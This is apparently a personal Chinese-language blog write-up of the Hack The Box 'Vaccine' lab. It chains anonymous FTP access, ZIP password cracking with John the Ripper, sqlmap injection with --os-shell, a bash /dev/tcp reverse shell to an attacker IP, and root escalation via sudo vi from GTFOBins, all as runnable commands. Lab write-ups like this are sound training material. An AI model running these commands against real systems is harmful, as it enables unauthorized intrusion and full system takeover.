Hack The Box-Vaccine

Introduction

看完这篇博客,你会了解到 ftp 匿名登录、John the Ripper 爆破密码、sqlmap、升级临时 shell、ssh、GTFOBins等。

Write-up

User flag

nmap 扫描开放端口:

先从 ftp 入手,因为我们看到它允许匿名登录,而且有一个 backup.zip。

首先连接 ftp 服务器:

ftp 10.129.116.3
# 用户名:anonymous 或 ftp
# 密码 :任意字符

下载 backup.zip:

get backup.zip

解压,发现需要密码:

之前介绍过 John the Ripper 工具,它可以破解多种加密算法生成的密码哈希,例如 DES、MD5、SHA、bcrypt、Windows LM/NTLM 哈希、ZIP 文件密码、PDF 文件密码等。

对于 ZIP 文件,需要使用 zip2john 工具提取哈希:

zip2john backup.zip > hashes

然后加载字典,对以上哈希值进行暴力破解:

john -wordlist=Desktop/wordlists/rockyou.txt hashes

查看 index.php,发现管理员密码:

浏览器访问 http://10.129.116.3 ,登录管理员账号:

这个功能一定是和数据库连接的:

接下来使用 SQLmap 测试是否存在 SQL 注入。注意这里我们是用管理员身份登录的,所以一定要带上 cookie:

sqlmap -u "http://10.129.116.3/dashboard.php?search=Elixir" --cookie="PHPSESSID=23gd5c0ih2s72tfon818qq9f4s"

结果是 search 参数容易受到 sql 注入的攻击:

接下来使用--os-shell参数执行命令注入:

sqlmap -u "http://10.129.116.3/dashboard.php?search=Elixir" --cookie="PHPSESSID=23gd5c0ih2s72tfon818qq9f4s" --os-shell

虽然通过 OS-shell 获得了命令行控制,但它只在当前会话有效,并且权限可能会受到限制。为了拥有更强的远程控制能力、绕过防火墙的能力和更持久的连接,我们还是像以前一样执行反弹 shell:

bash -c "bash -i >& /dev/tcp/10.10.16.6/888 0>&1"
# bash -c 启动一个新的 Bash 实例隔离环境,确保反向 shell 能顺利启动。
nc -lvp 888

升级 shell,使其成为一个完全的交互式 shell。

SHELL=/bin/bash script -q /dev/null
stty raw -echo
reset
xterm

找到 user flag:

Root flag

接下来进行权限提升。使用 sudo -l 查看当前用户的 sudo 权限,判断是否有潜在的提权漏洞。但是首先我们要找到当前用户的密码。

猜测网站目录下应该有明文密码。最终在 /var/www/html/dashboard.php 中找到了当前用户的密码:

shell 总是自动断开,由于目标主机的 22 端口处于开放状态,所以得到密码之后我们可以用 ssh 远程登录:

ssh postgres@10.129.116.3

然后 sudo -l

当处于只有某些二进制文件可用的情况下时,如何获得 root 权限可以参考GTFOBins

当前用户可以使用 vi ,查找相应的文档:

// If the binary is allowed to run as superuser by `sudo`, it does not drop the elevated privileges and may be used to access the file system, escalate or maintain privileged access.

sudo vi -c ':!/bin/sh' /dev/null

在此场景中,sudo 会使得 vi 编辑器以 root 身份运行,而 vi 中的 :!/bin/sh 命令又会启动一个新的 shell。因此,整个过程不会放弃 root 权限,攻击者可以利用这种方式获取到系统的 root 权限。因此我们执行:

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf -c ':!/bin/sh' /dev/null

因为当前用户的 sudo 权限仅限于 /bin/vi/etc/postgresql/11/main/pg_hba.conf ,所以这种方法不可行。文档中还有一种方法:

于是

sudo /bin/vi /etc/postgresql/11/main/pg_hba.conf

vi 编辑器中按冒号执行以下命令:

:set shell=/bin/sh
# 将 `vi` 编辑器的外部 shell 设置为 `/bin/sh`

按下回车后,输入以下命令:

:shell
# 启动一个外部 shellvi 编辑器会临时退出。

成功获取 root 权限和 root flag:

Conclusion

这个靶场相对来说简单一些,整个过程中用到的知识,很多都是以前学习过的,但是我并没有完全掌握。应该以后用多了就熟能生巧了吧,希望是这样的哈哈哈。最大的收获是,了解了在只有某些二进制文件可用时的提权手段。继续坚持学吧,虽然不知道能坚持到什么时候。